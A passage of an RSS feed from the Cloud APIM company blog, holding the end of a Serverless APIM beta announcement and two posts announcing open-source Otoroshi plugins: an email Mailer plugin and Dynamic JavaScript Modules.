<p><strong>🔒 Built-in Security :</strong> Protect your APIs with built-in authentication and authorization features. From API keys to OAuth, we've got you covered.</p>
<p><strong>📊 API Analytics :</strong> Gain valuable insights into API usage, performance metrics, and user behavior with our real-time analytics dashboard. Make informed decisions and optimize your APIs for maximum impact.</p>
<p><strong>📚 Developer-Friendly Documentation :</strong>  Empower developers with comprehensive documentation, code samples, and interactive tools. Foster collaboration and accelerate innovation within your organization.</p>
<p><strong>📜 OpenAPI Integration :</strong> You can easily manage references, schemas, and OpenAPI components, ensuring consistency and streamlining collaboration across your API projects.</p>
<p><strong>💰 API Monetisation :</strong>  With Serverless APIM, monetizing your APIs is effortless. Our platform offers built-in tools to set up plans and define quotas.</p>
<h3 id="heading-who-can-benefit"><strong>🌍 Who Can Benefit?</strong></h3>
<p>Whether you're a startup looking to launch your first API or a large enterprise managing a complex API ecosystem, <strong>Cloud APIM Serverless</strong> is tailored to meet your needs.</p>
<p>Our flexible and scalable solution adapts to your business requirements, enabling you to focus on what matters most: delivering <strong>value</strong> to your customers.</p>
<h2 id="heading-get-started-now"><strong>🚀 Get Started Now</strong> !</h2>
<p>Ready to experience the future of API management?</p>
<p>We are launching the private beta of Cloud APIM Serverless today. Anyone can join, just 🚀 Sign up <strong>now</strong> and register for the beta by clicking <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">on this link</a> and see the difference for yourself.</p>
<p>You can also watch a quick intro video to learn how to create your first api endpoint</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/FoaNJD5bYno?si=zfdPMZrebAWP9Ij9"></iframe>

<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717084541565/5a8c90fc-1ca6-4bc5-8762-0750d44cc522.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Introducing the Open-Sourced Mailer Plugin for Otoroshi: Email Simplified]]></title><description><![CDATA[Email integration is a critical component for many digital services, from transactional notifications to marketing campaigns. Cloud APIM is excited to announce the open-sourcing of a valuable addition to our suite of tools: the Mailer Plugin for Otor...]]></description><link>https://blog.cloud-apim.com/introducing-the-open-sourced-mailer-plugin-for-otoroshi-email-simplified</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-the-open-sourced-mailer-plugin-for-otoroshi-email-simplified</guid><category><![CDATA[APIM]]></category><category><![CDATA[email]]></category><category><![CDATA[smtp]]></category><category><![CDATA[APIs]]></category><category><![CDATA[otoroshi]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Fri, 12 Apr 2024 13:24:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/LPZy4da9aRo/upload/f36559814257e6730d32311dcf2038ef.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Email integration is a critical component for many digital services, from transactional notifications to marketing campaigns. Cloud APIM is excited to announce the open-sourcing of a valuable addition to our suite of tools: <a target="_blank" href="https://github.com/cloud-apim/otoroshi-plugin-mailer">the Mailer Plugin for Otoroshi.</a> This plugin simplifies email functionalities by embedding them directly into your Otoroshi environment.</p>
<h3 id="heading-streamlined-email-capabilities"><strong>Streamlined Email Capabilities</strong></h3>
<p>The Mailer Plugin transforms how you send emails through Otoroshi. By exposing an asynchronous REST API on any Otoroshi route, this plugin allows you to send emails seamlessly. Whether you need to dispatch straightforward text emails, rich HTML content, or messages with attachments, the Mailer Plugin handles it all effortlessly.</p>
<h3 id="heading-features-at-a-glance"><strong>Features at a Glance</strong></h3>
<ul>
<li><p><strong>Asynchronous Email API:</strong> Integrate email functionalities without impacting the performance of your main application.</p>
</li>
<li><p><strong>Flexible SMTP Integration:</strong> Connect to any SMTP server of your choice, providing the freedom to use the email service that best fits your needs.</p>
</li>
<li><p><strong>Rich Email Content:</strong> Support for text, HTML emails, and attachments ensures you can send detailed and engaging emails to your users.</p>
</li>
<li><p><strong>Activity Monitoring:</strong> Otoroshi events integrated within the plugin allow you to track email activities, ensuring transparency and aiding in troubleshooting.</p>
</li>
</ul>
<h3 id="heading-open-source-and-ready-to-use"><strong>Open Source and Ready to Use</strong></h3>
<p>In line with <a target="_blank" href="https://www.cloud-apim.com/opensource">our commitment to the open-source community</a> and our users’ success, the Mailer Plugin is completely open source. This means you can modify, enhance, and adapt the plugin to meet your specific requirements.</p>
<h3 id="heading-getting-started"><strong>Getting Started</strong></h3>
<p>The Mailer Plugin is available now and can be easily integrated into your existing Otoroshi instance. Visit our <a target="_blank" href="https://github.com/cloud-apim/otoroshi-plugin-mailer">GitHub page</a> to download the plugin, access detailed installation instructions, and start sending emails in a more integrated, efficient way. The Mailer Plugin is already available on your <a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM managed Otoroshi instances.</a></p>
<hr />
<h3 id="heading-about-cloud-apim">About Cloud APIM</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712927835059/3d91d227-e20e-4eaa-95fd-2b21996137ca.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Open sourcing Dynamic Javascript Modules]]></title><description><![CDATA[At Cloud APIM, we're continually pushing the boundaries to simplify and enhance the API management experience for our users. Today, we're excited to announce the open-sourcing of a groundbreaking project that's set to revolutionize the way you create...]]></description><link>https://blog.cloud-apim.com/open-sourcing-dynamic-javascript-modules</link><guid isPermaLink="true">https://blog.cloud-apim.com/open-sourcing-dynamic-javascript-modules</guid><category><![CDATA[otoroshi]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[wasm]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[APIs]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Fri, 22 Mar 2024 16:06:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/u0BVH8IOTUk/upload/f3afa0dde16b4f6e29894730d69403f4.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>At Cloud APIM, we're continually pushing the boundaries to simplify and enhance the API management experience for our users. Today, we're excited to announce the open-sourcing of a groundbreaking project that's set to revolutionize the way you create Otoroshi plugins: Dynamic JavaScript Modules.</p>
<h3 id="heading-goodbye-compilation-hello-javascript"><strong>Goodbye Compilation, Hello JavaScript!</strong></h3>
<p>The essence of innovation often lies in simplification. Recognizing the hurdles presented by the compilation process in WASM-based plugin development, we sought an alternative that maintains flexibility without the complexity. Dynamic JavaScript Modules is our solution, eliminating the need for compilation and allowing you to develop Otoroshi plugins directly in JavaScript.</p>
<h3 id="heading-the-power-of-dynamic-javascript-modules"><strong>The Power of Dynamic JavaScript Modules</strong></h3>
<p>Dynamic JavaScript Modules empower you to write and deploy your plugins with unmatched ease. Whether your JavaScript code is local, served over HTTP/S, or written inline, our new open-source project seamlessly integrates with your workflow. This means you can iterate and deploy your plugins faster, focusing on functionality rather than fretting over the build process.</p>
<h3 id="heading-key-features"><strong>Key Features:</strong></h3>
<ul>
<li><p><strong>No Compilation Needed:</strong> Jump straight into writing your plugins with JavaScript, bypassing the tedious compilation steps.</p>
</li>
<li><p><strong>Flexible Code Hosting:</strong> Whether your code resides on your server, is available online, or is directly embedded within your project, Dynamic JavaScript Modules adapt to your setup.</p>
</li>
<li><p><strong>Open for All:</strong> Compatible with any Otoroshi instance, this project extends its benefits to a wide array of users, not just those on Cloud APIM.</p>
</li>
</ul>
<h3 id="heading-available-now-on-cloud-apim"><strong>Available Now on Cloud APIM</strong></h3>
<p>For Cloud APIM users, accessing Dynamic JavaScript Modules is as simple as ever. This innovation is already integrated with your Cloud APIM Otoroshi instances, ready to unlock new potentials in plugin development.</p>
<h3 id="heading-join-the-future-of-plugin-development"><strong>Join the Future of Plugin Development</strong></h3>
<p>As we open-source Dynamic JavaScript Modules, we invite developers, innovators, and dreamers to join us in exploring new horizons in API management. This project is not just a testament to <a target="_blank" href="https://www.cloud-apim.com/opensource">our commitment to open-source</a>; it's an invitation to collaborate, innovate, and create more dynamic, efficient, and user-friendly plugins than ever before.</p>
<h3 id="heading-conclusion"><strong>Conclusion</strong></h3>
<p>The open-sourcing of Dynamic JavaScript Modules marks a significant milestone in our journey to streamline API management. By enabling JavaScript-based plugin development without the hassle of compilation, we're opening doors to faster innovation and a more inclusive developer experience. Dive into Dynamic JavaScript Modules today and start building the future of API plugins with Cloud APIM.</p>
<hr />
<h3 id="heading-about-cloud-apim">About Cloud APIM</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711106194862/5e05d473-e18d-4ffa-b945-c97410c4c8cb.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item></channel></rss>